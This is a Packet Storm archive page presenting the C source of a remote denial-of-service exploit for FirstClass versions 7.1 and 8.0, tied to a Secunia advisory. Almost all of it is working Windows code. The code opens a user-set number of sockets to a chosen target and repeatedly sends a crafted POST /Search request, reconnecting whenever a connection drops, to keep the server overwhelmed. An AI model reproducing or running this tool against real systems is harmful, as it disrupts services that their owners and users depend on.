exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

secunia.com-advisories-13415.c

secunia.com-advisories-13415.c
Posted Dec 19, 2004
Authored by Anand Khare

Firstclass v7.1 and 8.0 remote denial of service exploit. More information available here.

tags | exploit, remote, denial of service
SHA-256 | f7b425e8f395a75653fa4bfece9d026505c3246b9ccb0c33f4cb26295fb87a7d

secunia.com-advisories-13415.c

Change Mirror Download
/*
http://secunia.com/advisories/13415
written by dilaurdimag
released on 9.12.04
compile with ms vc++
remember to link with winsock
*/

#define WIN32_LEAN_AND_MEAN
#include "windows.h"
#define IDD_MAIN 101
#define IDI_MAIN 103
#define IDC_SERV 1000
#define IDC_SOCKS 1002
#define IDHALT 1004

// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 104
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif //
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>

#define WM_WSAASYNC (WM_USER +5)

BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
int startupClient(HWND hDlg);
void StopDoS();
void EnableDoSButton(HWND hDlg);
void DisableDoSButton(HWND hDlg);

struct hostent *host_entry;
struct sockaddr_in server;

WSAData wsaData;
char *request="POST /Search HTTP/1.1\nAccept: image/gif, image/x-xbitmap,
image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
*/*\nAccept-Language: en-us\nContent-Type:
application/x-www-form-urlencoded\nAccept-Encoding: gzip,
deflate\nContent-Length: 291\nConnection: Keep-Alive\nCache-Control:
no-cache\n\nCharSet=ISO-8859-1&FieldID%3A1211.0%3DLONG=0&FieldID%3A1202%3DSTRING=&FieldID%3A1208%3DCHECKBOX=on&FieldID%3A1206%3DCHECKBOX=on&FieldID%3A1204%3DCHECKBOX=on&FieldID%3A1207%3DCHECKBOX=on&FieldID%3A1205%3DCHECKBOX=on&FieldID%3A1209%3DCHECKBOX=on&FieldID%3A1212%3DCHECKBOX=on&Input%3A1211.0=+--\n\n";
char target[101];
__int64 timer;
int *mySocket, sockets=256, isDoS=0, sustain=0, count=0;

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpCmdLine, int nCmdShow)
{
DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL,
(DLGPROC)DlgProc, 0);
return 0;
}

BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch(uMsg)
{
case WM_INITDIALOG:
int error;
if ((error = WSAStartup(MAKEWORD(2, 2), &wsaData)) == SOCKET_ERROR){
MessageBox(hDlg, "Could not initialize winsock! Try looking for a winsock
update.", "Fatal Error", MB_OK|MB_ICONSTOP); SendMessage(hDlg, WM_CLOSE, 0,
0); }
EnableDoSButton(hDlg);
SetDlgItemText(hDlg, IDC_SERV, "");
SetDlgItemInt(hDlg, IDC_SOCKS, 256, 0);
return(false);
case WM_COMMAND:
if(wParam==IDOK)
{
DisableDoSButton(hDlg);
EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
GetDlgItemText(hDlg, IDC_SERV, target, 100);
sockets = GetDlgItemInt(hDlg, IDC_SOCKS, 0, 0);
if(sockets<2){
MessageBox(hDlg, "You need more sockets to cause a DoS!", "User Error",
MB_OK|MB_ICONWARNING);
EnableDoSButton(hDlg);
}else if(strlen(target)<1){
MessageBox(hDlg, "You need to specify a target!", "User Error",
MB_OK|MB_ICONWARNING);
EnableDoSButton(hDlg);
}else if(!gethostbyname(target)){
MessageBox(hDlg, "Unable to resolve target!", "DNS Error",
MB_OK|MB_ICONWARNING);
EnableDoSButton(hDlg);
}else
{
DisableDoSButton(hDlg);
host_entry = gethostbyname(target);
server.sin_family = AF_INET;
server.sin_port = htons(80);
server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;
mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
if(mySocket==NULL){
mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
if(mySocket==NULL){
SetFocus(hDlg);
MessageBox(hDlg, "Too many sockets and not enough memory.", "Memory
allocation failed!", MB_OK|MB_ICONWARNING);
EnableDoSButton(hDlg);
}
}else{
memset(mySocket, 0, sizeof(mySocket));
isDoS=1;
PostMessage(hDlg, WM_WSAASYNC, 0, 0);
}
}
}else if(wParam==IDHALT)
{
sustain=0;
count=0;
isDoS=0;
StopDoS();
EnableDoSButton(hDlg);
SetFocus(hDlg);
StopDoS();
MessageBox(hDlg, "All sockets have been shutdown!", "Information",
MB_OK|MB_ICONINFORMATION);
}
return(false);
case WM_CLOSE:
WSACleanup();
DestroyWindow(hDlg);
return(true);
case WM_WSAASYNC:
if(isDoS)
{
mySocket[count] = startupClient(hDlg);
SetDlgItemInt(hDlg, IDC_SOCKS, sockets-count, 0);
if(count<sockets) count++;
else{
count=0;
isDoS=0;
sustain=1;
EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
SetFocus(hDlg);
MessageBox(hDlg, "DoS in progress! Click OK to release sockets.",
"Information", MB_OK|MB_ICONINFORMATION);
PostMessage(hDlg, WM_COMMAND, IDHALT, 0);
}
}else if(sustain==1)
{
if(GetTickCount()>timer)
{
int fcount;
for(fcount=0; fcount<sockets+1; fcount++) if(mySocket[fcount]==0)
break;
if(fcount==sockets && mySocket[fcount]!=0)
{
MessageBox(hDlg, "all sockets where disconnected!", "DEBUG", MB_OK);
}else{
mySocket[fcount] = startupClient(hDlg);
}
timer=GetTickCount()+1000;
}
}
if(WSAGETSELECTEVENT(lParam)==FD_CONNECT)
{
send(wParam, request, strlen(request), 0);
}else if(WSAGETSELECTEVENT(lParam)==FD_CLOSE)
{
if(isDoS)
{
int icount;
for(icount=0; icount<sockets+1; icount++) if((unsigned
int)mySocket[icount]==wParam) break;
closesocket(wParam);
mySocket[icount] = startupClient(hDlg);
}else if(sustain)
{
int icount;
for(icount=0; icount<sockets+1; icount++) if((unsigned
int)mySocket[icount]==wParam) break;
closesocket(wParam);
mySocket[icount] = startupClient(hDlg);
}
}
}
return(false);
}

int startupClient(HWND hDlg) {
int tmpSocket = socket(AF_INET, SOCK_STREAM, 0);
if (tmpSocket == SOCKET_ERROR) return 0;
WSAAsyncSelect(tmpSocket, hDlg, WM_WSAASYNC, FD_CONNECT|FD_CLOSE);
int error = connect(tmpSocket, (sockaddr*)&server, sizeof(server));
if(error) tmpSocket=0;
return tmpSocket;
}

void StopDoS()
{
int hcount;
for(hcount=0; hcount<sockets+1; hcount++) closesocket(mySocket[hcount]);
}

void EnableDoSButton(HWND hDlg)
{
EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
EnableWindow(GetDlgItem(hDlg, IDC_SERV), 1);
EnableWindow(GetDlgItem(hDlg, IDC_SOCKS), 1);
EnableWindow(GetDlgItem(hDlg, IDOK), 1);
}

void DisableDoSButton(HWND hDlg)
{
EnableWindow(GetDlgItem(hDlg, IDOK), 0);
EnableWindow(GetDlgItem(hDlg, IDC_SERV), 0);
EnableWindow(GetDlgItem(hDlg, IDC_SOCKS), 0);
EnableWindow(GetDlgItem(hDlg, IDHALT), 1);
}

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close